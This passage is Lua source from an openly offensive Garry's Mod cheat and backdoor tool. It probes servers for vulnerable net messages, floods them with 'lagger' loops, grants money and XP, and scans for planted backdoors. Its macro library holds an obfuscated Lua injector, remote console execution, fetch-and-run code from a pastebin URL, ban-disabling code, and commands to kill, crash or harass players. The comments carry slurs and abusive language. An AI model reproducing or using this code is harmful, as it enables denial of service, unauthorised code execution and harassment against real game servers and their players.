5884timer.Create("lagger36", 0, 0, function()
5885for i = 1, 1000 do
5886net.Start('fg_printer_money',true)
5887net.WriteEntity(LocalPlayer())
5888net.SendToServer()
5889end
5890end )
5891end )
5892end
5893
5894status = ValidNetString("tickbookpayfine")
5895if (status) then
5896ECPrint("Found Exploit: Lagger #37 [tickbookpayfine]")
5897addExploit( "280","Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
5898surface.PlaySound("garrysmod/ui_click.wav")
5899timer.Create("lagger37", 0, 0, function()
5900for i = 1, 1000 do
5901net.Start("tickbookpayfine",true)
5902net.SendToServer()
5903end
5904end )
5905end )
5906end
5907
5908status = ValidNetString("BeginSpin")
5909if (status) then
5910ECPrint("Found Exploit: Lagger #38 [BeginSpin]")
5911addExploit( "281","Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
5912surface.PlaySound("garrysmod/ui_click.wav")
5913timer.Create("lagger38", 0, 0, function()
5914for i = 1, 1000 do
5915net.Start("BeginSpin",true)
5916net.SendToServer()
5917end
5918end )
5919end )
5920end
5921
5922status = ValidNetString("DuelRequestClient")
5923if (status) then
5924ECPrint("Found Exploit: Lagger #39 [DuelRequestClient]")
5925addExploit( "282","Lagger #39", "discovered by Leith", function()
5926surface.PlaySound("garrysmod/ui_click.wav")
5927timer.Create("lagger39", 0, 0, function()
5928for i = 1, 1000 do
5929net.Start("DuelRequestClient",true)
5930net.SendToServer()
5931end
5932end )
5933end )
5934end
5935
5936status = ValidNetString("ncpstoredoact")
5937if (status) then
5938ECPrint("Found Exploit: Lagger #40 [ncpstoredoact]")
5939addExploit( "283","Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
5940surface.PlaySound("garrysmod/ui_click.wav")
5941timer.Create("lagger40", 0, 0, function()
5942for i = 1, 1000 do
5943net.Start("ncpstoredoact",true)
5944net.SendToServer()
5945end
5946end )
5947end )
5948end
5949
5950status = ValidNetString("PermwepsNPCSellWeapon")
5951if (status) then
5952ECPrint("Found Exploit: Lagger #41 [PermwepsNPCSellWeapon]")
5953addExploit( "284","Lagger #41", "discovered by Leith", function()
5954surface.PlaySound("garrysmod/ui_click.wav")
5955timer.Create("lagger41", 0, 0, function()
5956for i = 1, 2000 do
5957net.Start("PermwepsNPCSellWeapon",true)
5958net.WriteString("")
5959net.SendToServer()
5960end
5961end )
5962end )
5963end
5964
5965status = ValidNetString("bitcoins_request_withdraw")
5966if (status) then
5967ECPrint("Found Exploit: Lagger #42 [bitcoins_request_withdraw]")
5968addExploit( "285","Lagger #42", "discovered by Leith", function()
5969surface.PlaySound("garrysmod/ui_click.wav")
5970timer.Create("lagger42", 0, 0, function()
5971for i = 1, 2000 do
5972net.Start("bitcoins_request_withdraw",true)
5973net.SendToServer()
5974end
5975end )
5976end )
5977end
5978
5979status = ValidNetString("bitcoins_request_turn_on")
5980if (status) then
5981ECPrint("Found Exploit: To include all bitcoin miners [bitcoins_request_turn_on]")
5982addExploit( "286","To include all bitcoin miners", "discovered by Leith", function()
5983surface.PlaySound("garrysmod/ui_click.wav")
5984ECNotify("Starting")
5985for k, v in pairs(ents.GetAll()) do
5986if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
5987net.Start("bitcoins_request_turn_on")
5988net.WriteEntity(v)
5989net.SendToServer()
5990end
5991end
5992end)
5993end
5994
5995status = ValidNetString("bitcoins_request_turn_off")
5996if (status) then
5997ECPrint("Found Exploit: Disable all bitcoin miners [bitcoins_request_turn_off]")
5998addExploit( "287","Disable all bitcoin miners", "discovered by Leith", function()
5999surface.PlaySound("garrysmod/ui_click.wav")
6000ECNotify("Starting")
6001for k, v in pairs(ents.GetAll()) do
6002if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6003net.Start("bitcoins_request_turn_off")
6004net.WriteEntity(v)
6005net.SendToServer()
6006end
6007end
6008end)
6009end
6010
6011status = ValidNetString("NET_AM_MakePotion")
6012if (status) then
6013ECPrint("Found Exploit: Lagger #43 [NET_AM_MakePotion]")
6014addExploit( "288","Lagger #43", "discovered by Leith", function()
6015surface.PlaySound("garrysmod/ui_click.wav")
6016ECNotify("Starting")
6017timer.Create("lagger43", 0, 0, function()
6018for i = 1, 2000 do
6019net.Start('NET_AM_MakePotion',true)
6020net.WriteEntity(LocalPlayer())
6021net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
6022net.SendToServer()
6023end
6024end )
6025end )
6026end
6027
6028status = ValidNetString("minigun_drones_switch")
6029if (status) then
6030ECPrint("Found Exploit: Lagger #44 [minigun_drones_switch]")
6031addExploit( "289","Lagger #44", "discovered by Solly", function()
6032surface.PlaySound("garrysmod/ui_click.wav")
6033ECNotify("Starting")
6034timer.Create("lagger44", 0.2, 0, function()
6035for i=1,2200 do
6036net.Start("minigun_drones_switch",true)
6037net.SendToServer()
6038end
6039end )
6040end )
6041end
6042
6043status = ValidNetString("CW20_PRESET_LOAD")
6044if (status) then
6045ECPrint("Found Exploit: Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
6046addExploit( "290","Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
6047surface.PlaySound("garrysmod/ui_click.wav")
6048ECNotify("Starting")
6049timer.Create("lagger45", 0.2, 0, function()
6050if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
6051for i=1,2200 do
6052net.Start("CW20_PRESET_LOAD",true)
6053net.SendToServer()
6054end
6055end
6056end )
6057end )
6058end
6059
6060status = ValidNetString("SBP_addtime")
6061if (status) then
6062ECPrint("Found Exploit: Lagger #46 [SBP_addtime]")
6063addExploit( "291","Lagger #46", "discovered by Solly", function()
6064surface.PlaySound("garrysmod/ui_click.wav")
6065ECNotify("Starting")
6066timer.Create("lagger46", 0.3, 0, function()
6067for i=1,2200 do
6068net.Start("SBP_addtime",true)
6069net.SendToServer()
6070end
6071end )
6072end )
6073end
6074
6075status = ValidNetString("SBP_addtime")
6076if (status) then
6077ECPrint("Found Exploit: XP Booster [SBP_addtime]")
6078addExploit( "292","XP Booster", "discovered by Solly", function()
6079inputFrameExists = true
6080inputFrame = vgui.Create( "DFrame" )
6081inputFrame:SetTitle("Enter the number")
6082inputFrame:SetSize( 400, 75 )
6083inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6084inputFrame:SetDraggable(false)
6085inputFrame:ShowCloseButton(true)
6086inputFrame:MakePopup()
6087inputFrame.Paint = function( self, w, h )
6088draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6089end
6090local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6091TextEntry:SetSize( 380, 30 )
6092TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6093TextEntry:SetText( "100" )
6094TextEntry.OnEnter = function( self )
6095surface.PlaySound("garrysmod/ui_click.wav")
6096timer.Create("ofn", 0.2, 0, function()
6097for i=1,tonumber(self:GetText()) do
6098net.Start("SBP_addtime")
6099net.SendToServer()
6100end
6101inputFrame:SetVisible(false)
6102end )
6103end
6104end )
6105end
6106
6107status = ValidNetString("ts_buytitle")
6108if (status) then
6109ECPrint("Found Exploit: Lagger #47 [ts_buytitle]")
6110addExploit( "293","Lagger #47", "an exploit in the addon 'TitleStore'", function()
6111surface.PlaySound("garrysmod/ui_click.wav")
6112ECNotify("Starting")
6113timer.Create("lagger47", 0, 0, function()
6114for i=1,1000 do
6115net.Start("ts_buytitle",true)
6116net.WriteTable({})
6117net.WriteTable({})
6118net.WriteTable({})
6119net.SendToServer()
6120end
6121end )
6122end )
6123end
6124
6125status = ValidNetString("STLoanToServer") -- 212.92.101.152:27015
6126if (status) then
6127ECPrint("Found Exploit: MONEY HACK [STLoanToServer]")
6128addExploit( "294","MONEY HACK", "", function()
6129surface.PlaySound("garrysmod/ui_click.wav")
6130ECNotify("Starting")
6131for i=1,100 do
6132net.Start( "STLoanToServer" )
6133net.WriteInt(50000,32 )
6134net.SendToServer()
6135end
6136end )
6137end
6138
6139
6140status = ValidNetString("arcslots_monitortype")
6141if (status) then
6142ECPrint("Found Exploit: Lagger #48 [arcslots_monitortype]")
6143addExploit("295", "Lagger #48", "discovered by Aromatic", function()
6144surface.PlaySound("garrysmod/ui_click.wav")
6145ECNotify("Starting")
6146timer.Create("lagger48", 0, 0, function()
6147for i=1, 1000 do
6148net.Start("arcslots_monitortype")
6149net.SendToServer()
6150end
6151end )
6152end )
6153end
6154
6155status = ValidNetString("TCBDealerStore")
6156if (status) then
6157ECPrint("Found Exploit: 1tap server [TCBDealerStore]")
6158addExploit("296", "1tap server", "discovered by Aromatic", function()
6159surface.PlaySound("garrysmod/ui_click.wav")
6160ECNotify("Starting")
6161timer.Create("1tapz", 0, 0, function()
6162for i=1, 1000 do
6163net.Start("TCBDealerStore")
6164net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
6165net.SendToServer()
6166end
6167end )
6168end )
6169end
6170
6171status = ValidNetString("TCBDealerSpawn")
6172if (status) then
6173ECPrint("Found Exploit: 1tap server [TCBDealerSpawn]")
6174addExploit("297", "1tap server", "discovered by Aromatic", function()
6175surface.PlaySound("garrysmod/ui_click.wav")
6176ECNotify("Starting")
6177timer.Create("1tapzz", 0, 0, function()
6178for i=1, 1000 do
6179net.Start("TCBDealerSpawn")
6180net.WriteString("sw_gokart")
6181net.WriteInt(1, 32)
6182net.WriteBool(false)
6183net.SendToServer(LocalPlayer())
6184end
6185end )
6186end )
6187end
6188
6189
6190
6191
6192
6193
6194
6195
6196
6197
6198
6199
6200
6201///////////////////////////////////////////// [OTHER] /////////////////////////////////////////////
6202
6203status = ValidNetString("EnterpriseWithdraw")
6204if (status) then
6205ECPrint("Found Exploit: ENTERPRISE FOUND! [EnterpriseWithdraw]")
6206addExploit( "1337","ENTERPRISE FOUND!", "discovered by Leith", function()
6207surface.PlaySound("garrysmod/ui_click.wav")
6208ECNotify("Starting")
6209net.Start("EnterpriseWithdraw")
6210net.WriteInt(100, 32)
6211net.SendToServer()
6212end )
6213end
6214
6215status = ValidNetString("SetPermaKnife")
6216if (status) then
6217ECPrint("Found Exploit: PERMA KNIFE FOUND [SetPermaKnife]")
6218addExploit( "1337","PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
6219surface.PlaySound("garrysmod/ui_click.wav")
6220/*
6221function cockSucker(ply,cmd,args,argStr)
6222local ply = LocalPlayer()
6223
6224net.Start( "SetPermaKnife" )
6225 net.WriteString( string.TrimRight(argStr,".lua") )
6226net.SendToServer()
6227end
6228
6229concommand.Add("gibe_weapon",cockSucker)
6230*/
6231end )
6232end
6233
6234----------------------------------------------------------------------------------
6235-- for k, v in pairs(player.GetAll()) do
6236-- for k, v in pairs(ents.GetAll()) do
6237----------------------------------------------------------------------------------
6238-- if !timer.Exists("lagger") then
6239-- timer.Create("lagger", 0, 0, function()
6240-- for i = 1, 1000 do
6241-----------------------------
6242-- 9999999999999999999999999999999999999999999999999999999999
6243-- 0xFFFFFFF
6244--------------------------------------------------------------------------------------------------
6245--------------------------------------------------------------------------------------------------
6246--------------------------------------------------------------------------------------------------
6247
6248end
6249
6250concommand.Add('R8_Exploit',function()
6251R8_Menu()
6252end)
6253
6254
6255
6256
6257local BD = {}
6258netKey = "memeDoor"
6259BackdoorsFound = 0
6260
6261function ValidNetString(str)
6262 local status, error = pcall(net.Start, str)
6263
6264 return status
6265end
6266
6267BackDoor_net = {
6268 {
6269 NetWork = "Sandbox_ArmDupe"
6270 },
6271 {
6272 NetWork = "Sbox_darkrp"
6273 },
6274 {
6275 NetWork = "Sbox_itemstore"
6276 },
6277 {
6278 NetWork = "Ulib_Message"
6279 },
6280 {
6281 NetWork = "ULogs_Info"
6282 },
6283 {
6284 NetWork = "ITEM"
6285 },
6286 {
6287 NetWork = "R8"
6288 },
6289 {
6290 NetWork = "fix"
6291 },
6292 {
6293 NetWork = "Fix_Keypads"
6294 },
6295 {
6296 NetWork = "Remove_Exploiters"
6297 },
6298 {
6299 NetWork = "noclipcloakaesp_chat_text"
6300 },
6301 {
6302 NetWork = "_Defqon"
6303 },
6304 {
6305 NetWork = "_CAC_ReadMemory",
6306"nostrip"
6307 },
6308 {
6309 NetWork = "nocheat"
6310 },
6311 {
6312 NetWork = "LickMeOut"
6313 },
6314 {
6315 NetWork = "ULX_QUERY2"
6316 },
6317 {
6318 NetWork = "ULXQUERY2"
6319 },
6320 {
6321 NetWork = "MoonMan"
6322 },
6323 {
6324 NetWork = "Im_SOCool"
6325 },
6326 {
6327 NetWork = "Sandbox_GayParty"
6328 },
6329 {
6330 NetWork = "DarkRP_UTF8"
6331 },
6332 {
6333 NetWork = "oldNetReadData"
6334 },
6335 {
6336 NetWork = "memeDoor"
6337 },
6338 {
6339 NetWork = "BackDoor"
6340 },
6341 {
6342 NetWork = "OdiumBackDoor"
6343 },
6344 {
6345 NetWork = "SessionBackdoor"
6346 },
6347 {
6348 NetWork = "DarkRP_AdminWeapons"
6349 },
6350 {
6351 NetWork = "cucked"
6352 },
6353 {
6354 NetWork = "NoNerks"
6355 },
6356 {
6357 NetWork = "kek"
6358 },
6359 {
6360 NetWork = "ZimbaBackDoor"
6361 },
6362 {
6363 NetWork = "something"
6364 },
6365 {
6366 NetWork = "random"
6367 },
6368 {
6369 NetWork = "strip0"
6370 },
6371 {
6372 NetWork = "fellosnake"
6373 },
6374 {
6375 NetWork = "enablevac"
6376 },
6377 {
6378 NetWork = "idk"
6379 },
6380 {
6381 NetWork = "c"
6382 },
6383 {
6384 NetWork = "killserver"
6385 },
6386 {
6387 NetWork = "fuckserver"
6388 },
6389 {
6390 NetWork = "cvaraccess"
6391 },
6392 {
6393 NetWork = "rcon"
6394 },
6395 {
6396 NetWork = "rconadmin"
6397 },
6398 {
6399 NetWork = "web"
6400 },
6401 {
6402 NetWork = "jesuslebg"
6403 },
6404 {
6405 NetWork = "zilnix"
6406 },
6407 {
6408 NetWork = "Þà ?D)◘"
6409 },
6410 {
6411 NetWork = "disablebackdoor"
6412 },
6413 {
6414 NetWork = "kill"
6415 },
6416 {
6417 NetWork = ""
6418 },
6419 {
6420 NetWork = "DefqonBackdoor"
6421 }
6422}
6423
6424function checkbackdoors()
6425 for k, v in pairs(BackDoor_net) do
6426 if (ValidNetString(v.NetWork)) then
6427 BackdoorsFound = 1 + BackdoorsFound
6428 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
6429 v.NetWork = backdoor
6430 end
6431 end
6432end
6433
6434BD.Backdoors = BD.Backdoors or {}
6435BD.CurrentBackdoor = "Generic"
6436
6437for k, v in pairs(BackDoor_net) do
6438 if (ValidNetString(v.NetWork)) then
6439 BD.BackdoorTypes = {
6440 ["Generic"] = {
6441 ["Code"] = "util.AddNetworkString( " .. v.NetWork .. " ) net.Receive( " .. v.NetWork .. ", function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
6442 ["Netkey"] = v.NetWork
6443 }
6444 }
6445 end
6446end
6447
6448checkbackdoors()
6449local netsss = net.Start
6450
6451function BD.IsMessagePooled(netmessage)
6452 local netfunc = netsss
6453
6454 return status
6455end
6456
6457local net = net
6458local ctxt = chat.AddText
6459
6460function BD.ChatText(message, col)
6461 ctxt(Color(195, 205, 255, 255), "[Blackdoor] ", col, message)
6462end
6463
6464function BD.PingBackDoors()
6465 local bds = {}
6466
6467 for k, v in pairs(BackDoor_net) do
6468 if BD.IsMessagePooled(tostring(v.NetWork)) then
6469 bds[k] = true
6470 end
6471 end
6472
6473 return bds
6474end
6475
6476concommand.Add("bd_refresh_backdoors", function()
6477 BD.Backdoors = BD.PingBackDoors()
6478end)
6479
6480function BD.BackdoorActive()
6481 return table.Count(BD.Backdoors) > 0
6482end
6483
6484BD.BDMacros = {
6485 ["Artillery Strike"] = {
6486 ["Type"] = 1,
6487 ["Code"] = [[if !bombstrike then
6488
6489hook.Add("Think", "lulz_bombstrike", function()
6490
6491local explode = ents.Create( "env_explosion" )
6492
6493local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
6494
6495local trc = {}
6496
6497trc.start = ps
6498
6499trc.endpos = ps + Vector( 0, 0, -99999)
6500
6501local tr = util.TraceLine(trc)
6502
6503if !tr.Hit then return end
6504
6505explode:SetPos( tr.HitPos )
6506
6507explode:Spawn()
6508
6509explode:SetKeyValue( "iMagnitude", "400" )
6510
6511explode:Fire( "Explode", 0, 0 )
6512
6513end)
6514
6515bombstrike = true
6516
6517else
6518
6519hook.Remove("Think", "lulz_bombstrike")
6520
6521bombstrike = false
6522
6523end]],
6524 ["Desc"] = "Explode the shit out of everything"
6525 },
6526 ["@ Inject SendLua Interface"] = {
6527 ["Type"] = 1,
6528 ["Code"] = [[
6529
6530 local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )
6531
6532 ]],
6533 ["Desc"] = "You need this to use certain macros"
6534 },
6535 ["Announce centre screen"] = {
6536 ["Type"] = 1,
6537 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
6538 ["Desc"] = "Make an announcement in the centre of everybodys screen",
6539 ["NeedsParameters"] = 1
6540 },
6541 ["Rainbow chat spam"] = {
6542 ["Type"] = 1,
6543 ["Code"] = [[
6544
6545 if !timer.Exists( "lulz_chatspam" ) then
6546
6547 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
6548
6549 else
6550
6551 timer.Remove( "lulz_chatspam" )
6552
6553 end]],
6554 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
6555 ["NeedsParameters"] = 1
6556 },
6557 ["Rainbow chat spam (Turbo)"] = {
6558 ["Type"] = 1,
6559 ["Code"] = [[
6560
6561 if !timer.Exists( "lulz_chatspam" ) then
6562
6563 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
6564
6565 else
6566
6567 timer.Remove( "lulz_chatspam" )
6568
6569 end]],
6570 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
6571 ["NeedsParameters"] = 1
6572 },
6573 ["Unlock all doors"] = {
6574 ["Type"] = 1,
6575 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
6576 ["Desc"] = ""
6577 },
6578 ["Toggle all doors"] = {
6579 ["Type"] = 1,
6580 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
6581 ["Desc"] = ""
6582 },
6583 ["Broken Glass Symphony"] = {
6584 ["Type"] = 1,
6585 ["Code"] = [[
6586
6587 if !timer.Exists( "A true masterpiece" ) then
6588
6589 timer.Create( "A true masterpiece", 0.2, 0, function()
6590
6591 for _, p in pairs(player.GetAll()) do
6592
6593 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
6594
6595 end
6596
6597 end)
6598
6599 else
6600
6601 timer.Remove( "A true masterpiece" )
6602
6603 end]],
6604 ["Desc"] = "Beethoven's last hidden symphony, only rediscovered in 2017"
6605 },
6606 ["Yeah Baby"] = {
6607 ["Type"] = 1,
6608 ["Code"] = [[
6609
6610 if !timer.Exists( "porn" ) then
6611
6612 timer.Create( "porn", 0.3, 0, function()
6613
6614 for _, p in pairs(player.GetAll()) do
6615
6616 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
6617
6618 end
6619
6620 end)
6621
6622 else
6623
6624 timer.Remove( "porn" )
6625
6626 end]],
6627 ["Desc"] = "YEAH BABY YEAH"
6628 },
6629 ["Street War"] = {
6630 ["Type"] = 1,
6631 ["Code"] = [[
6632
6633 if !timer.Exists( "cwar" ) then
6634
6635 timer.Create( "cwar", 1, 0, function()
6636
6637 for _, p in pairs(player.GetAll()) do
6638
6639 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
6640
6641 end
6642
6643 end)
6644
6645 else
6646
6647 timer.Remove( "cwar" )
6648
6649 end]],
6650 ["Desc"] = "For when you need more dakka"
6651 },
6652 ["Earthquake"] = {
6653 ["Type"] = 1,
6654 ["Code"] = [[
6655
6656 if !timer.Exists( "earthquake" ) then
6657
6658 timer.Create( "earthquake", 0.5, 500, function()
6659
6660 for _, p in pairs(player.GetAll()) do
6661
6662 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
6663
6664 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
6665
6666 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
6667
6668 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
6669
6670 end
6671
6672
6673
6674 for _, e in pairs(ents.GetAll()) do
6675
6676 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
6677
6678 end
6679
6680
6681
6682
6683
6684 end)
6685
6686 else
6687
6688 timer.Remove( "earthquake" )
6689
6690 end]],
6691 ["Desc"] = "For when you need more dakka"
6692 },
6693 ["Explode all vehicles"] = {
6694 ["Type"] = 1,
6695 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
6696
6697 local explo = ents.Create("env_explosion")
6698
6699 explo:SetPos(v:GetPos())
6700
6701 explo:SetKeyValue("iMagnitude", "300")
6702
6703 explo:Spawn()
6704
6705 explo:Activate()
6706
6707 explo:Fire("Explode", "", 0)
6708
6709 end
6710
6711 end]],
6712 ["Desc"] = ""
6713 },
6714 ["RCON command"] = {
6715 ["Type"] = 1,
6716 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
6717 ["Desc"] = "Like having rcon access without actually having rcon access"
6718 },
6719 ["Lua run"] = {
6720 ["Type"] = 1,
6721 ["Code"] = [[@1]],
6722 ["Desc"] = "For running your dank luas"
6723 },
6724 ["Lua run from pastebin"] = {
6725 ["Type"] = 1,
6726 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
6727 ["Desc"] = "Fetch and run code from a pastebin link ( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )"
6728 },
6729 ["Destroy ULX Ban/Kick"] = {
6730 ["Type"] = 1,
6731 ["Code"] = [[ULib.Ban = function() return false end
6732
6733 ULib.addBan = function() return end
6734
6735 ULib.kick = function() return end]],
6736 ["Desc"] = "Completely break ulx ban and ulx kick so you can't be locked out of the server"
6737 },
6738 ------------------------ player targeted macros ------------------------
6739 ["Kill player"] = {
6740 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
6741 ["Code"] = [[v:Kill()]],
6742 ["Desc"] = ""
6743 },
6744 ["Fumble player"] = {
6745 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
6746 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
6747 ["Desc"] = "Knocks their current weapon out of their hand"
6748 },
6749 ["Strip weapons"] = {
6750 ["Type"] = 2,
6751 ["Code"] = [[v:StripWeapons()]],
6752 ["Desc"] = ""
6753 },
6754 ["Rocket"] = {
6755 ["Type"] = 2,
6756 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
6757 ["Desc"] = "Sends them flying up into the air"
6758 },
6759 ["Rocket (Spastic)"] = {
6760 ["Type"] = 2,
6761 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
6762 ["Desc"] = "HOLY SHIIIIIIIIIIIT"
6763 },
6764 ["Change model"] = {
6765 ["Type"] = 2,
6766 ["Code"] = [[v:SetModel( @1 )]],
6767 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
6768 ["NeedsParameters"] = 1
6769 },
6770 ["Set health + armor"] = {
6771 ["Type"] = 2,
6772 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
6773 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
6774 ["NeedsParameters"] = 2
6775 },
6776 ["Ear rape"] = {
6777 ["Type"] = 2,
6778 ["Code"] = [[
6779
6780 local snd = {
6781
6782 [1] = "npc/stalker/go_alert2a.wav",
6783
6784 [2] = "vo/npc/male01/question06.wav",
6785
6786 [3] = "ambient/energy/zap1.wav",
6787
6788 [4] = "weapons/knife/knife_stBD.wav",
6789
6790 [5] = "vo/ravenholm/madlaugh04.wav",
6791
6792 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
6793
6794 [7] = "vo/breencast/br_collaboration01.wav,"
6795
6796 }
6797
6798 v:EmitSound( snd[tonumber(@1)], 100, 100 )
6799
6800 ]],
6801 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
6802 ["NeedsParameters"] = 1
6803 },
6804 ["Ear rape (from internet)"] = {
6805 ["Type"] = 2,
6806 ["Code"] = [[
6807
6808 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
6809
6810 ]],
6811 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
6812 ["NeedsParameters"] = 1
6813 },
6814 ["Eye rape (from internet)"] = {
6815 ["Type"] = 2,
6816 ["Code"] = [[
6817
6818 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
6819
6820 ]],
6821 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
6822 ["NeedsParameters"] = 1
6823 },
6824 ["Rave Mode"] = {
6825 ["Type"] = 2,
6826 ["Code"] = [[
6827
6828 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
6829
6830 ]],
6831 ["Desc"] = "Make them loosen up and join the party"
6832 },
6833 ["Rave Music"] = {
6834 ["Type"] = 2,
6835 ["Code"] = [[
6836
6837 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
6838
6839 ]],
6840 ["Desc"] = "DOOF DOOF NIGGA"
6841 },
6842 ["Whisper"] = {
6843 ["Type"] = 2,
6844 ["Code"] = [[v:ChatPrint( @1 )]],
6845 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
6846 ["NeedsParameters"] = 1
6847 },
6848 ["Whisper (advanced)"] = {
6849 ["Type"] = 2,
6850 ["Code"] = [[
6851
6852 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
6853
6854 ]],
6855 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
6856 ["NeedsParameters"] = 1
6857 },
6858 ["Ignite player"] = {
6859 ["Type"] = 2,
6860 ["Code"] = [[v:Ignite( 30 )]],
6861 ["Desc"] = "Ignite players for 30 seconds, spam repeatedly to refresh the duration"
6862 },
6863 ["Toggle godmode"] = {
6864 ["Type"] = 2,
6865 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
6866 ["Desc"] = ""
6867 },
6868 ["Crash their gmod"] = {
6869 ["Type"] = 2,
6870 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
6871 ["Desc"] = "Instantly freezes their game solid, the only way to fix it is ctrl-alt-delete or a computer restart"
6872 },
